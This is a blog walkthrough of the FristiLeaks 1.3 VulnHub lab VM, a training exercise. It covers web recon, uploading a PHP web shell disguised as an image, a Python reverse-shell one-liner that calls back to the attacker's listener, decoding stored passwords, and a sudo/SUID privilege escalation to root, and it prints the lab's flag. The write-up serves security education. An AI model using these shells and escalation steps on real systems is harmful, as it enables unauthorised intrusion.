John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

16 minute read

FristiLeaks: 1.3

Name       : FristiLeaks: 1.3
Difficulty : Beginner
Type       : boot2root
Source     : VulnHub
URL        :,133/
Entry      : 8 / 30

Welcome to the walkthrough for FristiLeaks: 1.3, a boot2root CTF found on VulnHub. This is the eighth VM in my VulnHub Challenge!

FristiLeaks is quite a fun challenge, since it has a lot of “traditional” CTF elements with it such as encoding, upload bypass, etc. It is also often listed as one of the VulnHub VMs that should be completed as part of the preparation for the OSCP.


For this particular entry in the series, there is a flag file in the /root directory that can be read once access is gained to the root user.


I’m using VMWare Workstation Player to host Kali and the FristiLeaks: 1.3 image, with both VMs running in a NAT network. Refer to the Description section for this VM if you are using VMWare, since you must change the MAC address of your network adapter for it to work properly.


I use netdiscover to search for the IP address of the target VM:

root@dante:~# netdiscover -r
Currently scanning: Finished!   |   Screen View: Unique Hosts

 6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------   00:50:56:c0:00:08      1      60  VMware, Inc.   00:50:56:e9:f5:d4      2     120  VMware, Inc. 08:00:27:a5:a6:76      2     120  PCS Systemtechnik GmbH 00:50:56:f7:1c:69      1      60  VMware, Inc.

So it looks like is our target IP. Since we changed the MAC address for the VM, this makes sense as to why it isn’t a VMWare, Inc. MAC vendor.


I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap
Starting Nmap 7.80 ( ) at 2019-09-01 19:10 EDT
Nmap scan report for
Host is up (0.00094s latency).
Not shown: 999 filtered ports
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds
root@dante:~# nmap -sC -sV -p80
Starting Nmap 7.80 ( ) at 2019-09-01 19:10 EDT
Nmap scan report for
Host is up (0.00036s latency).

80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

A very simple server indeed! Seems we only have port 80 open and there are a few entries in the robots.txt file. The VM also seems to be running CentOS based on the response from the Apache version string, so we’ll keep that in mind as we scan further. Since we only have a web server to start with, it makes sense for us to focus our efforts there.

Web Reconnaissance

As with other VMs, I’m going to start with curl and see what I can pull down from the main URL as well as the ones from robots.txt:

root@dante:~# curl -v
*   Trying
* Connected to ( port 80 (#0)
> GET / HTTP/1.1
> Host:
> User-Agent: curl/7.65.3
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 Sep 2019 19:15:13 GMT
< Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
< Last-Modified: Tue, 17 Nov 2015 18:45:47 GMT
< ETag: "31b2-2bf-524c0ef1d551d"
< Accept-Ranges: bytes
< Content-Length: 703
< Connection: close
< Content-Type: text/html; charset=UTF-8
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA

Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
<body bgcolor="#FF69B4">
<br />
<center><h1> The <a href="">#fristileaks</a> motto:</h1> </center>
<center> <img src="images/keep-calm.png" /> </center>
<br />
Fristileaks 2015-12-11 are:<br>
@meneer, @barrebas, @rikvduijn, @wez3forsec, @PyroBatNL, @0xDUDE, @annejanbrouwer, @Sander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwight, Egeltje, @pdersjant, @tcp130x10, @spierenburg, @ielmatani, @renepieters, Mystery guest, @EQ_uinix, @WhatSecurity, @mramsmeets, @Ar0xA
root@dante:~# curl
<title>301 Moved Permanently</title>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="">here</a>.</p>
root@dante:~# curl
<img src="/images/3037440.jpg"/>
root@dante:~# curl
<img src="/images/3037440.jpg"/>
root@dante:~# curl
<img src="/images/3037440.jpg"/>

So the headers are pretty basic, but it’s interesting to see the various URLs /cola/, /beer, and /sisi/ all return the same image:

Protected URLs

Nice little troll there. But what about the main page?

Main Page

Nice, another meme. Well, let’s turn to some brute force tactics and use gobuster:

root@dante:~# gobuster dir -x php -f -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Add Slash:      true
[+] Timeout:        10s
2019/09/01 19:29:31 Starting gobuster
/cgi-bin/ (Status: 403)
/images/ (Status: 200)
/icons/ (Status: 200)
/error/ (Status: 403)
/beer/ (Status: 200)
[ERROR] 2019/09/01 19:30:11 [!] Get net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[ERROR] 2019/09/01 19:30:11 [!] Get net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[ERROR] 2019/09/01 19:30:11 [!] Get net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

Yeah, so it didn’t take long before I ran into troubles scanning with gobuster. Could be something like OSSEC or some other brute force/rate limiting module or application running on the VM, but I’ll spare you the rest of the trouble. I did look into the /images/ and /icons/ paths, but nothing of interest was found. There were two images in the /images/ directory, and we’ve seen both of them already. The /icons/ directory just has the standard set of Apache icons, nothing else out of the ordinary.

That’s when I remembered the home page image! Keep Calm and Drink Fristi. Of course! Let me see what’s at /fristi/, since the other entries in the robots.txt file were all drinks of some sort (never heard of Sisi though, but it turns out it is a drink).

/fristi/ URL


Before we move on, I just want to let you know that I was stuck on this stage for about an hour. This is common with CTFs where the authors will taunt you, but sometimes it helps to take a step back and try the obvious. Often times people will do things like check for stenographic passwords hidden in images, etc. I’m not saying that I did that, but, well, other people may do that! Sometimes the answer is quite literally right in front of you.

I’m going to take a quick look at the source for this page:

root@dante:~# curl
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
We need to clean this up for production. I left some junk in here to make testing easier.                 
- by eezeepz                                                                                              
<center><h1> Welcome to #fristileaks admin portal</h1></center>
<center><img src="data:img/png;base64,/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAZAAA/+4ADkFkb2JlAGTAAAAAAf/b
I/Z42J4O1Pqn8R+zxsTwdqfVP4j9njYng7VUJ7p2rf8AWPmw/VfrUsbO1ejy6Hfu+kL/2Q==" /></center><br/>

Yeah… That’s a lot of base64 encoded data. There’s also an interesting message from one of the developers right at the top! Seems they were kind enough to leave their username as well, eezeepz.

Turns out there are two base64-encoded blocks though, and one of them is commented out! Before I try tackling the login page with SQL injection and the like, I’m going to try to decode that second block and see what the resulting data is using the file command. I’ll start by copying the block to a file called comment-block.b64:

root@dante:~# vim comment-block.b64
root@dante:~# base64 -d comment-block.b64 > comment-block.bin
root@dante:~# file comment-block.bin
comment-block.bin: PNG image data, 365 x 75, 8-bit/color RGB, non-interlaced
root@dante:~# mv comment-block.bin comment-block.png

So it’s a PNG file! Interesting. Here’s what it looks like:

base64 decoded image

Right… I’m going to turn my attention to that login page again.

Logging In

I tried all manner of SQL injection, but no luck. I also tried the usual passwords of admin/admin, admin/fristi, admin/password, etc., but none of them worked. That’s when I remembered my own advice. What’s already been given to me that I can use? Well, we have a username, eezeepz, and we have a really weird string of k’s. Let me try those:

*Fristileaks* Login Page

I’m in.

Getting a Web Shell

On the upload page, we are restricted to uploading image files, i.e. JPG, GIF, or PNG files. Files seem to be uploaded to the uploads directory on the server, and I can browse to them directly. I.e. if I upload test.png, I can go to /fristi/uploads/test.png to view it in my browser.

No problem, I’ll try an old trick that usually works on upload pages that only check the extension. I’ll copy the file /usr/share/webshells/php/simple-backdoor.php to simple-backdoor.php.png and upload that file instead. It works! When I browse to the page I can see that I have a working PHP backdoor:

Fristileaks Login Page

Now the next step is to do a little recon to see if I can find something useful, like being able to create a proper reverse shell to do further exploration.

Enumeration with curl

I decide to go with curl rather than Burp just because I’d like to showcase that sometimes you don’t need big GUI-based tools to solve CTFs. That and Burp tends to slow down my machine after a while. I try a few simple which commands to see what’s available:

root@dante:~# curl -s | html2text
root@dante:~# curl -s | html2text
root@dante:~# curl -s | html2text
root@dante:~# curl -s | html2text
root@dante:~# curl -s | html2text

No nc, but there is wget, curl, python, and perl available. I’ll head over to the reverse shell cheat sheet and get the syntax for a reverse shell using bash. I personally like this one because it’s a simple command and generally works 99% of the time. If it doesn’t work I can always move on to using Python or Perl instead.

I setup my netcat listener locally with nc -nvlp 9001 and then fire off the command via my PHP backdoor:

root@dante:~# curl -s

Note: For those wondering, I used an online URL encoder to encode the command, but Burp could easily do this as well.

root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: no job control in this shell
bash-4.1$ whoami

Local Enumeration

I’ve successfully created my reverse shell and I’m running as the apache user. Before I do my standard run of, I’m just going to do some light reconnaissance. I’ll see what’s in the /home directory and then move on to the /var/www directory afterwards before I decide to run

bash-4.1$ cd /home
cd /home
bash-4.1$ ls -al
ls -al
total 28
drwxr-xr-x.  5 root      root       4096 Nov 19  2015 .
dr-xr-xr-x. 22 root      root       4096 Sep  1 15:28 ..
drwx------.  2 admin     admin      4096 Jun 15 14:34 admin
drwx---r-x.  5 eezeepz   eezeepz   12288 Nov 18  2015 eezeepz
drwx------   2 fristigod fristigod  4096 Nov 19  2015 fristigod

Interesting! It seems the eezeepz directory is readable by everyone. There is a notes.txt file in the directory, which has some interesting content:

bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

Excellent! It seems Jerry, a.k.a. admin, has given us the ability to run commands automatically! I go back to the reverse shell cheat sheet and decide on using a Python version this time. I create the /tmp/runthis file, setup a new listener on my Kali machine, and wait:

bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ echo "/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
_STREAM);s.connect((\"\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fil
eno(),2);[\"/bin/sh\",\"-i\"]);'" > runthis
\"/bin/sh\",\"-i\"]);'" > runthis),1); os.dup2(s.fileno(),2);[

Note: I had to be careful to escape all the double-quotes in the original command, since I was using double-quotes to surround the command so that I could echo it to the runthis file.

root@dante:~# nc -nvlp 9002
Ncat: Version 7.80 ( )
Ncat: Listening on :::9002
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
sh: no job control in this shell
sh-4.1$ whoami

Excellent, now I’m the admin user. Let’s see what else I can do.

Local Enumeration as admin

Let me see if this user has any sudo privileges:

sh-4.1$ sudo -l
sudo -l
sudo: sorry, you must have a tty to run sudo
sh-4.1$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
[admin@localhost ~]$ sudo -l
sudo -l
[sudo] password for admin:
Sorry, try again.
[sudo] password for admin:
Sorry, try again.
[sudo] password for admin:
Sorry, try again.
sudo: 3 incorrect password attempts
[admin@localhost ~]$

Turns out I needed to have a proper TTY session before I could use sudo. No problem, Python to the rescue once again! In the end it didn’t matter though - without a password I can’t use sudo with the admin user.

Let me see what’s in the home directory:

[admin@localhost ~]$ pwd
[admin@localhost ~]$ ls -al
ls -al
total 656
drwx------. 2 admin     admin       4096 Jun 15 14:34 .
drwxr-xr-x. 5 root      root        4096 Nov 19  2015 ..
-rw-------  1 admin     admin        940 Jun 15 14:44 .bash_history
-rw-r--r--. 1 admin     admin         18 Sep 22  2015 .bash_logout
-rw-r--r--. 1 admin     admin        176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 admin     admin        124 Sep 22  2015 .bashrc
-rwxr-xr-x  1 admin     admin      45224 Nov 18  2015 cat
-rwxr-xr-x  1 admin     admin      48712 Nov 18  2015 chmod
-rw-r--r--  1 admin     admin        737 Nov 18  2015
-rw-r--r--  1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rw-r--r--  1 admin     admin        258 Nov 18  2015
-rwxr-xr-x  1 admin     admin      90544 Nov 18  2015 df
-rwxr-xr-x  1 admin     admin      24136 Nov 18  2015 echo
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 egrep
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 grep
-rwxr-xr-x  1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r--  1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt
[admin@localhost ~]$

I’ve had luck with .txt files in the past, so I’m going to start with those:

[admin@localhost ~]$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
[admin@localhost ~]$ cat cryptedpass.txt
cat cryptedpass.txt
[admin@localhost ~]$

Looks like these are base64 encoded strings, but there’s a Python script called as well. Let me see what that looks like:

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

print cryptoResult

Well that’s pretty simple. This also explains the base64 encoded strings. So basically this Python script will read a string passed to it, base64 encodes that string, reverses it, then runs a ROT-13 cipher against the reversed string before returning the “encrypted” password.

I’ve written a simple Python script that reverses this process. With any luck, I should be able to use it to decode the passwords I found in those .txt files:

import base64,codecs,sys

def decodePass(encoded_passwd):
    reverse_b64 = codecs.decode(encoded_passwd, 'rot13')
    b64_passwd = reverse_b64[::-1]
    passwd = base64.b64decode(b64_passwd)
    return passwd

passwd = decodePass(sys.argv[1])
print passwd

Decoding the original passwords, I get thisisalsopw123 and LetThereBeFristi! from cryptedpass.txt and whoisyourgodnow.txt respectively. Now that we have a password for fristigod (remember, this is the owner of the whoisyourgodnow.txt file), let me see if I can use su to log in as fristigod.

[admin@localhost ~]$ su fristigod -
su fristigod -
Password: LetThereBeFristi!

bash-4.1$ whoami
bash-4.1$ pwd
bash-4.1$ cd /home/fristigod
cd /home/fristigod
bash-4.1$ ls -al
ls -al
total 20
drwx------  2 fristigod fristigod 4096 Nov 19  2015 .
drwxr-xr-x. 5 root      root      4096 Nov 19  2015 ..
-rw-r--r--  1 fristigod fristigod   18 Sep 22  2015 .bash_logout
-rw-r--r--  1 fristigod fristigod  176 Sep 22  2015 .bash_profile
-rw-r--r--  1 fristigod fristigod  124 Sep 22  2015 .bashrc

Awesome! I’ve jumped to yet another user (typical of a standard CTF), meaning I’m one step closer to getting the flag.

Getting the Flag

As the fristigod user, I check to see if it has any sudo privileges:

bash-4.1$ sudo -l
sudo -l
[sudo] password for fristigod: LetThereBeFristi!

Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$ ls -al /var/fristigod/.secret_admin_stuff/doCom
ls -al /var/fristigod/.secret_admin_stuff/doCom
-rwsr-sr-x 1 root root 7529 Nov 25  2015 /var/fristigod/.secret_admin_stuff/doCom

VERY interesting! It appears that we can use the user sudo as the user fristi to access the /var/fristigod/.secret_admin_stuff/doCom executable, which happens to have the SUID and SGID bits set. The only question is, what does it do?

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
[sudo] password for fristigod: LetThereBeFristi!

Usage: ./program_name terminal_command ...bash-4.1$


It looks like it will allow me to run a terminal command? Might as well go for broke!

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
[root@localhost ~]# whoami
[root@localhost ~]# pwd
[root@localhost ~]# ls -al
ls -al
total 48
dr-xr-x---.  3 root root 4096 Nov 25  2015 .
dr-xr-xr-x. 22 root root 4096 Sep  1 15:28 ..
-rw-------   1 root root 1936 Nov 25  2015 .bash_history
-rw-r--r--.  1 root root   18 May 20  2009 .bash_logout
-rw-r--r--.  1 root root  176 May 20  2009 .bash_profile
-rw-r--r--.  1 root root  176 Sep 22  2004 .bashrc
drwxr-xr-x.  3 root root 4096 Nov 25  2015 .c
-rw-r--r--.  1 root root  100 Sep 22  2004 .cshrc
-rw-------.  1 root root  246 Nov 17  2015 fristileaks_secrets.txt
-rw-------.  1 root root 1291 Nov 17  2015 .mysql_history
-rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc
-rw-------.  1 root root  829 Nov 17  2015 .viminfo
[root@localhost ~]#

Boom. I have root. Now let me grab that flag and be done with this machine:

[root@localhost ~]# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA []

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

[root@localhost ~]#


comments powered by Disqus

Recent posts

See more



Hi. I'm John, and I'm an Information Security Generalist.